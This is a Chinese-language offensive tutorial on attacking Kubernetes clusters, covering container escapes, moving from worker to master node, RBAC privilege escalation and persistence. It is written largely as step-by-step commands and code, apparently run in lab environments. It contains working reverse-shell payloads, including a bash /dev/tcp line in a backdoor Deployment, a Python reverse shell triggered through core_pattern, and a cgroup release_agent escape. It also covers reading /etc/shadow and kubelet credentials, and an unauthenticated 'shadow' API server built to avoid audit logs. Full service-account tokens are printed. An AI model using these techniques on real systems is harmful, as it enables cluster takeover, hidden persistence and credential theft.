本篇文章是填补之前"K8s集群安全攻防(上)"挖的坑,主要补充K8s的逃逸、横向移动、权限维持、扩展技巧等内容
Security Context(安全上下文),用于定义Pod或Container的权限和访问控制,Kubernetes提供了三种配置Security Context的方法:
容器级别:仅应用到指定的容器上,并且不会影响Volume
apiVersion: v1 kind: Pod metadata: name: hello-world spec: containers: - name: hello-world-container image: ubuntu:latest securityContext: privileged: true
Pod级别:应用到Pod内所有容器,会影响Volume
apiVersion: v1 kind: Pod metadata: name: hello-world spec: containers: securityContext: fsGroup: 1234 supplementalGroups: [5678] seLinuxOptions: level: "s0:c123,c456"
PSP,集群级别:PSP是集群级的Pod安全策略,自动为集群内的Pod和Volume设置Security Context
当容器启动加上--privileged选项时,容器可以访问宿主机上所有设备,而K8s配置文件如果启用了"privileged: true"也可以实现挂载操作
Step 1:使用docker拉取ubuntu镜像到本地
Step 2:创建一个Pod的yaml文件
apiVersion: v1 kind: Pod metadata: name: myapp-test spec: containers: - image: ubuntu:latest name: ubuntu securityContext: privileged: true
Step 3:创建一个Pod
kubectl create -f myapp-test.yaml
Step 3:进入Pod进行逃逸操作
#进入pod kubectl exec -it myapp-test /bin/bash #查看磁盘 fdisk -l
Step 4:查看权限
cat /proc/self/status | grep CapEff
Step 5:使用CDK进行逃逸
在容器内部进入挂载目录,直接管理宿主机磁盘文件(多少有一些问题)
Docker通过Linux Namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯,但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限:
cgroup
默认情况下容器在启动时会在/sys/fs/cgroup目录各个subsystem目录的docker子目录里生成以容器ID为名字的子目录,我们通过执行以下命令查看宿主机里的memory cgroup目录,可以看到docker目录里多了一个目录9d14bc4987d5807f691b988464e167653603b13faf805a559c8a08cb36e3251a,这一串字符是容器ID,这个目录里的内容就是用户在容器里查看/sys/fs/cgroup/memory的内容
mount
mount命令是一个系统调用(syscall)命令,系统调用号为165,执行syscall需要用户具备CAP_SYS_ADMIN的Capability,如果在宿主机启动时添加了--cap-add SYS_ADMIN参数,那root用户就能在容器内部就能执行mount挂载cgroup,docker默认情况下不会开启SYS_ADMIN Capability
漏洞利用的第一步是在容器里创建一个临时目录/tmp/cgrp并使用mount命令将系统默认的memory类型的cgroup重新挂载到/tmp/cgrp上
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
参数解释:
需要注意的是在对cgroup进行重新挂载的操作时只有当被挂载目标的hierarchy为空时才能成功,因此如果这里memory的重新挂载不成功的话可以换其他的subsystem,接着就是在这个cgroup类型里建一个子目录x
漏洞利用的第二步和notify_no_release有关,cgroup的每一个subsystem都有参数notify_on_release,这个参数值是Boolean型,1或0,分别可以启动和禁用释放代理的指令,如果notify_on_release启用当cgroup不再包含任何任务时(即cgroup的tasks文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的文本内容,不过需要注意的是release_agent文件并不在/tmp/cgrp/x目录里,而是在memory cgroup的根目录/tmp/cgrp里,这样的设计可以用来自动移除根cgroup里所有空的cgroup,我们可以通过执行以下命令将/tmp/cgrp/x的notify_no_release属性设置为1
echo 1 > /tmp/cgrp/x/notify_no_release
接着通过将release_agent指定为容器在宿主机上的cmd文件,具体操作是先获取docker容器在宿主机上的存储路径:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
文件/etc/mtab存储了容器中实际挂载的文件系统
这里使用sed命令匹配perdir=(和)之间的非逗号内容,从上图可以看出,host_path就是docker的overlay存储驱动上的可写目录upperdir
在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/x/release_agent参数指定的文件:
echo "$host_path/cmd" > /tmp/cgrp/release_agent
接下来POC将要执行的shell写到cmd文件里,并赋予执行权限
echo '#!/bin/sh' > /cmd echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd chmod a+x /cmd
最后POC触发宿主机执行cmd文件中的shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
该命令启动一个sh进程,将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里,这里的\$\$表示sh进程的PID,在执行完sh -c之后,sh进程自动退出,这样cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行
Docker 1.0
在早期的docker中容器内是默认拥有CAP_DAC_READ_SEARCH的权限的,拥有该Capability权限之后,容器内进程可以使用open_by_handle_at函数对宿主机文件系统暴力扫描,以获取宿主机的目标文件内容,Docker1.0之前对容器能力(Capability)使用黑名单策略管理,并未限制CAP_DAC_READ_SEARCH能力,故而赋予了shocker.c程序调用open_by_handle_at函数的能力,导致容器逃逸的发生
./metarget gadget install docker --version 18.03.1 ./metarget gadget install k8s --version 1.16.5 --domestic
./metarget cnv install cap_dac_read_search-container
备注:此场景较为简单可以直接使用Docker手动搭建,默认存在漏洞的Docker版本过于久远,但是复现漏洞可以使用任意版本的Docker,只需要在启动Docker时通过--cap-add选项来添加CAP_DAC_READ_SEARCH capability的权限即可
Step 1:查看容器列表可以发现此时有一个名为cap-dac-read-search-container的带有CAP_DAC_READ_SEARCH权限的容器
docker ps -a | grep cap docker top 5713dea getpcaps 51776
Step 2:下载poc文件并修改shocker.c中.dockerinit文件为 /etc/hosts
#初始文件 // get a FS reference from something mounted in from outside if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0) die("[-] open"); #更改文件 // 由于文件需要和宿主机在同一个挂载的文件系统下,而高版本的.dockerinit已经不在宿主机的文件系统下了 // 但是/etc/resolv.conf,/etc/hostname,/etc/hosts等文件仍然是从宿主机直接挂载的,属于宿主机的文件系统 if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0) die("[-] open");
Step 3:编译shock.c文件
Step 4:docker cp到容器内运行后成功访问到了宿主机的/etc/shadow文件
#基本格式 docker cp 本地路径 容器ID:容器路径 #使用实例 docker cp /home/ubuntu/shocker 5713dea8ce4b:/tmp/shocker
内核漏洞由很多都可以利用,例如:
下面仅以脏牛漏洞逃逸为例:
Linux kernel 2.x through 4.x before 4.8.3
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell,需要注意的是Docker与宿主机共享内核,因此容器需要在存在dirtyCow漏洞的宿主机里运行
Step 1:测试环境下载
git clone https://github.com/gebl/dirtycow-docker-vdso.git
Step 2:运行测试容器
cd dirtycow-docker-vdso/ sudo docker-compose run dirtycow /bin/bash
Step 3:进入容器编译POC并执行
cd /dirtycow-vdso/ make ./0xdeadbeef 192.168.172.136:1234
Step 4:在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell
这里留一个常被用于面试的问题给大家思考:
为什么内核漏洞可以导致容器逃逸?基本原理是什么?
由于用户使用较为危险的挂载将物理机的路径挂载到了容器内,从而导致逃逸
Step 1:查看当前权限确定该容器具有主机系统的完整权限
Step 2:发现/host-system从主机系统安装
Step 3:获得主机系统权限
chroot /host-system bash docker ps
Step 4:访问节点级别Kubernetes的kubelet配置
cat /var/lib/kubelet/kubeconfig
Step 5:使用kubelet配置执行Kubernetes集群范围的资源
kubectl --kubeconfig /var/lib/kubelet/kubeconfig get all -n kube-system
当Pod以可写权限挂载了宿主机的/var/log目录,而且Pod里的Service Account有权限访问该Pod在宿主机上的日志时,攻击者可以通过在容器内创建符号链接来完成简单逃逸,简单归纳总结如下:
下图展示了kubectl logs <pod-name> 如何从pod中检索日志</pod-name>
kubelet会在宿主机上的/var/log目录中创建一个目录结构,如图符号1,代表节点上的pod,但它实际上是一个符号链接,指向/var/lib/docker/containers目录中的容器日志文件,当使用kubectl logs <pod-name>命令查询指定pod的日志时,实际上是向kubelet的/logs/pods/<path_to_0.log>接口发起HTTP请求,对于该请求的处理逻辑如下</pod-name>
#kubernetes\pkg\kubelet\kubelet.go:1371 if kl.logServer == nil { kl.logServer = http.StripPrefix("/logs/", http.FileServer(http.Dir("/var/log/"))) }
kubelet会解析该请求地址去/var/log对应的目录下读取log文件并返回,当pod以可写权限挂载了宿主机上的/var/log目录时,可以在该路径下创建一个符号链接指向宿主机的根目录,然后构造包含该符号链接的恶意kubelet请求,宿主机在解析时会解析该符号链接,导致可以读取宿主机任意文件和目录
#基础环境 ./metarget gadget install docker --version 18.03.1 ./metarget gadget install k8s --version 1.16.5 --domestic #漏洞环境 ./metarget cnv install mount-var-log
执行完成后,K8s集群内metarget命令空间下将会创建一个名为mount-var-log的pod
Step 1:执行以下命令进入容器
kubectl -n metarget exec -it mount-var-log /bin/bash
Step 2:查看文件,Pod内可执行以下两种命令
lsh 等于宿主机上的ls cath 等于宿主机上的cat
$ kubectl exec -it escaper bash ➜ root@escaper:~/exploit$ python find_sensitive_files.py [*] Got access to kubelet /logs endpoint [+] creating symlink to host root folder inside /var/log [*] fetching token files from host [+] extracted hostfile: /var/lib/kubelet/pods/6d67bed2-abe3-11e9-9888-42010a8e020e/volumes/kubernetes.io~secret/metadata-agent-token-xjfh9/token [*] fetching private key files from host [+] extracted hostfile: /home/ubuntu/.ssh/private.key [+] extracted hostfile: /etc/srv/kubernetes/pki/kubelet.key ...
之后会下载对应的敏感文件到以下位置:
#Token Files /root/exploit/host_files/tokens #Key Files /root/exploit/host_files/private_keys
https://github.com/danielsagi/kube-pod-escape
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件,因此将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时(Docker默认情况下不会为容器开启User Namespace),一般来说我们不会将宿主机的procfs挂载到容器中,然而有些业务为了实现某些特殊需要,还是会将该文件系统挂载进来,procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,从2.6.19内核版本开始Linux支持在/proc/sys/kernel/core_pattern中使用新语法,如果该文件中的首个字符是管道符|,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行
基础环境构建:
./metarget gadget install docker --version 18.03.1 ./metarget gadget install k8s --version 1.16.5 --domestic
漏洞环境准备:
./metarget cnv install mount-host-procfs
执行完成后K8s集群内metarget命令空间下将会创建一个名为mount-host-procfs的pod,宿主机的procfs在容器内部的挂载路径是/host-proc
执行以下命令进入容器:
kubectl exec -it -n metarget mount-host-procfs /bin/bash
在容器中首先拿到当前容器在宿主机上的绝对路径:
root@mount-host-procfs:/# cat /proc/mounts | grep docker overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/SDXPXVSYNB3RPWJYHAD5RIIIMO:/var/lib/docker/overlay2/l/QJFV62VKQFBRS5T5ZW4SEMZQC6:/var/lib/docker/overlay2/l/SSCMLZUT23WUSPXAOVLGLRRP7W:/var/lib/docker/overlay2/l/IBTHKEVQBPDIYMRIVBSVOE2A6Y:/var/lib/docker/overlay2/l/YYE5TPGYGPOWDNU7KP3JEWWSQM,upperdir=/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/diff,workdir=/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/work 0 0
从workdir可以得到基础路径,结合背景知识可知当前容器在宿主机上的merged目录绝对路径如下:
/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged
向容器内/host-proc/sys/kernel/core_pattern内写入以下内容:
echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore " > /host-proc/sys/kernel/core_pattern
然后在容器内创建一个反弹shell的/tmp/.x.py:
cat >/tmp/.x.py << EOF #!/usr/bin/python import os import pty import socket lhost = "attacker-ip" lport = 10000 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") os.remove('/tmp/.x.py') s.close() if __name__ == "__main__": main() EOF chmod +x /tmp/.x.py
最后在容器内运行一个可以崩溃的程序即可,例如:
#include <stdio.h> int main(void) { int *a = NULL; *a = 1; return 0; }
容器内若没有编译器,可以先在其他机器上编译好后放入容器中,等完成后在其他机器上开启shell监听:
接着在容器内执行上述编译好的崩溃程序,即可获得反弹shell
污点是K8s高级调度的特性,用于限制哪些Pod可以被调度到某一个节点,一般主节点包含一个污点,这个污点是阻止Pod调度到主节点上面,除非有Pod能容忍这个污点,而通常容忍这个污点的Pod都是系统级别的Pod,例如:kube-system
攻击者在获取到node节点的权限后可以通过kubectl来创建一个能够容忍主节点的污点的Pod,当该Pod被成功创建到Master上之后,攻击者可以通过在子节点上操作该Pod实现对主节点的控制
Step 1:Node中查看节点信息
Step 2:确认Master节点的容忍度
#方式一 kubectl describe nodes master
#方式二 kubectl describe node master | grep 'Taints' -A 5
Step 3:创建带有容忍参数的Pod(必要时可以修改Yaml使Pod增加到特定的Node上去)
apiVersion: v1 kind: Pod metadata: name: control-master-15 spec: tolerations: - key: node-role.kubernetes.io/master operator: Exists effect: NoSchedule containers: - name: control-master-15 image: ubuntu:18.04 command: ["/bin/sleep", "3650d"] volumeMounts: - name: master mountPath: /master volumes: - name: master hostPath: path: / type: Directory
#创建Pod kubectl create -f control-master.yaml #部署情况 kubectl get deploy -o wide #Pod详情 kubectl get pod -o wide
Step 4:获得Master控制端
kubectl exec control-master-15 -it bash chroot /master bash ls -al cat /etc/shadow
执行以下命令清除污点之后直接执行部署Pod到Master上,之后通过挂载实现逃逸获取Master节点的权限
#清除污点 kubectl taint nodes debian node-role.kubernetes.io/master:NoSchedule- #查看污点 kubectl describe node master | grep 'Taints' -A 5
K8s中的权限提升可以参考以下CVE链接,这里不再做复现:
1、CVE-2018-1002105:Kubernetes API Server Privileges Escalation:
https://goteleport.com/blog/kubernetes-websocket-upgrade-security-vulnerability/
2、CVE-2019-11247:Kubernetes API Server Privileges Escalation:
https://github.com/kubernetes/kubernetes/issues/80983
3、CVE-2020-8559:Kubernetes API Server Privileges Escalation:
https://github.com/tdwyer/CVE-2020-8559
下面对Rolebinding权限提升进行一个简单的演示:
K8s使用基于角色的访问控制(RBAC)来进行操作鉴权,允许管理员通过Kubernetes API动态配置策略,某些情况下运维人员为了操作便利,会对普通用户授予cluster-admin的角色,攻击者如果收集到该用户登录凭证后,可直接以最高权限接管K8s集群,少数情况下攻击者可以先获取角色绑定(RoleBinding)权限,并将其他用户添加cluster-admin或其他高权限角色来完成提权
Step 1:下载yaml文件
wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta8/aio/deploy/recommended.yaml
Step 2:修改YAML文件
Step 3:下载镜像
Step 4:进行部署操作
#部署操作 kubectl apply -f kubernetes-dashboard.yaml #删除操作 kubectl delete -f kubernetes-dashboard.yaml
Step 5:查看pod和service状态
kubectl get pods,svc -n kubernetes-dashboard -o wide
Step 6:查看所有的pod
kubectl get pods --all-namespaces -o wide
Step 7:在浏览器中访问,选择用默认用户kubernetes-dashboard的token登陆
Step 8:查看serviceaccount和secrets
kubectl get sa,secrets -n kubernetes-dashboard
Step 9:查看token
kubectl describe secrets kubernetes-dashboard-token-8kxnh -n kubernetes-dashboard
eyJhbGciOiJSUzI1NiIsImtpZCI6Iml3OVRtaVlnREpPQ0h2ZlUwSDBleFlIc29qcXgtTmtaUFN4WDk4NjZkV1EifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJrdWJlcm5ldGVzLWRhc2hib2FyZC10b2tlbi04a3huaCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6ImMyYTE0NTAzLTc4MzgtNGY3MS1iOTBjLTFhMWJkOTk4NGFiMiIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlcm5ldGVzLWRhc2hib2FyZDprdWJlcm5ldGVzLWRhc2hib2FyZCJ9.bQOXikheuY7kL0Dki0mLmyVvGT9cDc4HvdUWXPRywjFPCZNeX6mMurU6pr9LJR25MFwF4Y3ZlnGzHDbrGR-bYRLwDsSvX-qvh0BLCZhQORE2gfd971lCQc7uoyrkf-EJrg26_0C2yGGhZI7JdcRDjrjuHG0aZpQ1vNZYrIWwj5hj9yn7xVI0-dVLbjx8_1kmRXIKw5dk3c_x8aKh-fLSZ-ncpMBf35GGisUHzsdPWup_fqoQKZr4TcEMYc2FcooDQ_mnhBL-WVTbHM9z-LEcebTaCepYR7f-655nRXrDWQe3H524Vvak9aEHI9xK8qHWk1546ka14fMsYTqi3Ra-Tg
Step 10:使用默认用户的token登录
之后发现权限略有不足:
Step 11:新建管理员
a、创建serviceaccount
kubectl create serviceaccount admin-myuser -n kubernetes-dashboard
b、绑定集群管理员
kubectl create clusterrolebinding dashboard-cluster-admin --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:admin-myuser
kubectl get sa,secrets -n kubernetes-dashboard
c、查看token
kubectl describe secret admin-myuser-token-jcj9d -n kubernetes-dashboard
eyJhbGciOiJSUzI1NiIsImtpZCI6Iml3OVRtaVlnREpPQ0h2ZlUwSDBleFlIc29qcXgtTmtaUFN4WDk4NjZkV1EifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJhZG1pbi1teXVzZXItdG9rZW4tamNqOWQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiYWRtaW4tbXl1c2VyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiYjM5MjBlZWEtMzA1NS00ZDQzLWEyMWMtNDk4MDEwM2NhMjhmIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmVybmV0ZXMtZGFzaGJvYXJkOmFkbWluLW15dXNlciJ9.DC1dSWMY46GzOZiSDsQWjO2dNIQ6ZsO_KDDfWjJ74m8ugPoklduiPeLj85n2NI03NKzCpXOaRRUR4LZHHT5KrpKFTsA9uPQyC0Lb3vi-UUZuQ4uhAZrzOxHx82tIcgNBSv-hXvIZytSrgm3RaItH20O3D-3NTEPt00ohD54cq6FyQPBqGi5yseLlTKj4Z2exbCCHxie67ID8ykaNnwcC8Ay1Ccznlvqu8ffdTejrcqFEyGZqHW3NuBxtYGkh_THdZIGHxaeqgLlGb7i2SbOr3IPeQGlf9l-rRKFSIMqvK_0SFBM9BiA0A4lEv26ro2LC4_PxF6o5_QOAz7X0E65hfw
Step 12:登录dashboard
随后可以进行逃逸等操作,具体看上篇,这里不再赘述
如果创建容器时启用了DaemonSets、Deployments那么便可以使容器和子容器即使被清理掉了也可以恢复,攻击者可利用这个特性实现持久化,相关概念如下:
ReplicationController(RC):ReplicationController确保在任何时候都有特定数量的Pod副本处于运行状态
Replication Set(RS):官方推荐使用RS和Deployment来代替RC,实际上RS和RC的功能基本一致,目前唯一的一个区别就是RC只支持基于等式的selector
Deployment:主要职责和RC一样,都是保证Pod的数量和健康,二者大部分功能都是完全一致的,可以看成是一个升级版的RC控制器,官方组件kube-dns、kube-proxy也都是使用的Deployment来管理
Step 1:创建dep.yaml文件并加入恶意载荷
#dep.yaml apiVersion: apps/v1 kind: Deployment #确保在任何时候都有特定数量的Pod副本处于运行状态 metadata: name: nginx-deploy labels: k8s-app: nginx-demo spec: replicas: 3 #指定Pod副本数量 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: hostNetwork: true hostPID: true containers: - name: nginx image: nginx:1.7.9 imagePullPolicy: IfNotPresent command: ["bash"] #反弹Shell args: ["-c", "bash -i >& /dev/tcp/192.168.17.164/4444 0>&1"] securityContext: privileged: true #特权模式 volumeMounts: - mountPath: /host name: host-root volumes: - name: host-root hostPath: path: / type: Directory
Step 2:使用kubectl来创建后门Pod
#创建 kubectl create -f dep.yaml
Step 3:成功反弹shell回来,且为节点的shell
Step 4:查看当前权限发现属于特权模式
cat /proc/self/status | grep CapEff
Step 6:之后切换至host目录下可以看到成功挂载宿主机目录
Step 7:删除pod
kubectl delete -f dep.yaml
./cdk run k8s-backdoor-daemonset (default|anonymous|<service-account-token-path>) <image> Request Options: default: connect API server with pod's default service account token anonymous: connect API server with user system:anonymous <service-account-token-path>: connect API server with user-specified service account token. Exploit Options: <image>: your backdoor image (you can upload it to dockerhub before)
Shadow API Server攻击技术由安全研究人员Ian Coldwater在"Advanced Persistence Threats: The Future of Kubernetes Attacks"中首次提出,该攻击手法旨在创建一种针对K8S集群的隐蔽持续控制通道
Shadow API Server攻击技术的思路是创建一个具有API Server功能的Pod,后续命令通过新的"Shadow API Server"下发,新的API Server创建时可以开放更大权限,并放弃采集审计日志,且不影响原有API-Server功能,日志不会被原有API-Server记录,从而达到隐蔽性和持久控制目的
Step 1:首先查看kube-system命名空间下的kube-apiserver信息
kubectl get pods -n kube-system | grep kube-apiserver
Step 2:查看kube-apiserver-master对应的YAML文件
kubectl get pods -n kube-system kube-apiserver-master -o yaml
Step 3:复制上述YAML内容并进行如下修改
#更新配置 --allow-privileged=true --insecure-port=6445 --insecure-bind-address=0.0.0.0 --secure-port=6445 --anonymous-auth=true --authorization-mode=AlwaysAllow #删除子项 status metadata.selfLink metadata.uid metadata.annotations metadata.resourceVersion metadata.creationTimestamp spec.tolerations
最终配置文件如下:
apiVersion: v1 kind: Pod metadata: labels: component: kube-apiserver-shadow tier: control-plane name: kube-apiserver-shadow namespace: kube-system ownerReferences: - apiVersion: v1 controller: true kind: Node name: master uid: a8b24753-c6b2-477e-9884-03784cf52afb spec: containers: - command: - kube-apiserver - --advertise-address=192.168.17.144 - --allow-privileged=true - --anonymous-auth=true - --authorization-mode=AlwaysAllow - --client-ca-file=/etc/kubernetes/pki/ca.crt - --enable-admission-plugins=NodeRestriction - --enable-bootstrap-token-auth=true - --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt - --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt - --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key - --etcd-servers=https://127.0.0.1:2379 - --insecure-port=9443 - --insecure-bind-address=0.0.0.0 - --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt - --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname - --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt - --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key - --requestheader-allowed-names=front-proxy-client - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt - --requestheader-extra-headers-prefix=X-Remote-Extra- - --requestheader-group-headers=X-Remote-Group - --requestheader-username-headers=X-Remote-User - --secure-port=9444 - --service-account-key-file=/etc/kubernetes/pki/sa.pub - --service-cluster-ip-range=192.96.0.0/12 - --tls-cert-file=/etc/kubernetes/pki/apiserver.crt - --tls-private-key-file=/etc/kubernetes/pki/apiserver.key image: registry.aliyuncs.com/google_containers/kube-apiserver:v1.17.4 imagePullPolicy: IfNotPresent livenessProbe: failureThreshold: 8 httpGet: host: 192.168.17.144 path: /healthz port: 9443 scheme: HTTPS initialDelaySeconds: 15 periodSeconds: 10 successThreshold: 1 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m terminationMessagePath: /dev/termination-log terminationMessagePolicy: File volumeMounts: - mountPath: /etc/ssl/certs name: ca-certs readOnly: true - mountPath: /etc/pki name: etc-pki readOnly: true - mountPath: /etc/kubernetes/pki name: k8s-certs readOnly: true dnsPolicy: ClusterFirst enableServiceLinks: true hostNetwork: true nodeName: master priority: 2000000000 priorityClassName: system-cluster-critical restartPolicy: Always schedulerName: default-scheduler securityContext: {} terminationGracePeriodSeconds: 30 volumes: - hostPath: path: /etc/ssl/certs type: DirectoryOrCreate name: ca-certs - hostPath: path: /etc/pki type: DirectoryOrCreate name: etc-pki - hostPath: path: /etc/kubernetes/pki type: DirectoryOrCreate name: k8s-certs
Step 4:创建一个附加由API Server功能的pod
kubectl create -f api.yaml
Step 5:端口服务查看
Step 6:在浏览器中实现未授权访问测试
Step 7:在命令行中实现未授权访问
kubectl -s http://192.168.17.144:9443 get nodes
Step 1:在Pod中使用CDK寻找脆弱点
Step 2:发现当前Pod内置Service account具有高权限,接下来使用EXP部署Shadow API Server
cdk run k8s-shadow-apiserver default
Step 3:部署成功之后,后续渗透操作全部由新的Shadow API Server代理,由于打开了无鉴权端口,任何pod均可直接向Shadow API Server发起请求管理集群
Step 4:获取K8s的Secrets凭据信息
CronJob用于执行周期性的动作,例如:备份、报告生成等,攻击者可以利用此功能持久化
Step 1:创建cron.yaml文件
apiVersion: batch/v1beta1 kind: CronJob #使用CronJob对象 metadata: name: hello spec: schedule: "*/1 * * * *" #每分钟执行一次 jobTemplate: spec: template: spec: containers: - name: hello image: alpine imagePullPolicy: IfNotPresent command: - /bin/bash - -c - #反弹Shell或者下载并执行木马 restartPolicy: OnFailure
Step 2:部署pod
kubectl create -f cron.yaml
Step 3:之后再监听端并未获取到shell
随后发现未反弹回shell的原因是因为IP网段问题,相关测试如下
Step 1:测试yaml文件
apiVersion: batch/v1beta1 kind: CronJob metadata: name: hello spec: schedule: "*/1 * * * *" jobTemplate: spec: template: spec: containers: - name: hello image: busybox args: - /bin/sh - -c - ifconfig; echo Hello aliang restartPolicy: OnFailure
Step 2:部署后查看logs
使用方法:
cdk run k8s-cronjob (default|anonymous|<service-account-token-path>) (min|hour|day|<cron-expr>) <image> <args> Request Options: default: connect API server with pod's default service account token anonymous: connect API server with user system:anonymous <service-account-token-path>: connect API server with user-specified service account token. Cron Options: min: deploy cronjob with schedule "* * * * *" hour: deploy cronjob with schedule "0 * * * *" day: deploy cronjob with schedule "0 0 * * *" <cron-expr>: your custom cron expression Exploit Options: <image>: your backdoor image (you can upload it to dockerhub before) <args>: your custom shell command which will run when container creates
使用实例:
./cdk run k8s-cronjob default min alpine "echo hellow;echo cronjob"
执行之后:
Nebula是一个云和DevOps渗透测试框架,它为每个提供者和每个功能构建了模块,截至 2021年4月,它仅涵盖AWS,但目前是一个正在进行的项目,有望继续发展以测试GCP、Azure、Kubernetes、Docker或Ansible、Terraform、Chef等自动化引擎
https://github.com/gl4ssesbo1/Nebula
k0otkit是一种通用的后渗透技术,可用于对Kubernetes集群的渗透,攻击者可以使用k0otkit快速、隐蔽和连续的方式(反向shell)操作目标Kubernetes集群中的所有节点,K0otkit使用到的技术主要有以下几个:
DaemonSet和Secret资源(快速持续反弹、资源分离)
CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP,集成Docker/K8s场景特有的逃逸、横向移动、持久化利用方式,插件化管理
https://github.com/cdk-team/CDK
Kubesploit是一个功能强大的跨平台后渗透漏洞利用HTTP/2命令&控制服务器和代理工具,基于Merlin项目实现其功能,主要针对的是容器化环境的安全问题
https://github.com/cyberark/kubesploit
https://youtu.be/GupI5nUgQ9I
https://capsule8.com/blog/practical-container-escape-exercise/
https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation
https://github.com/google/security-research/blob/master/pocs/linux/cve-2021-22555/writeup.md#escaping-the-container-and-popping-a-root-shell
https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
https://github.com/bsauce/kernel-exploit-factory/tree/main/CVE-2021-31440
https://man7.org/linux/man-pages/man5/core.5.html
https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs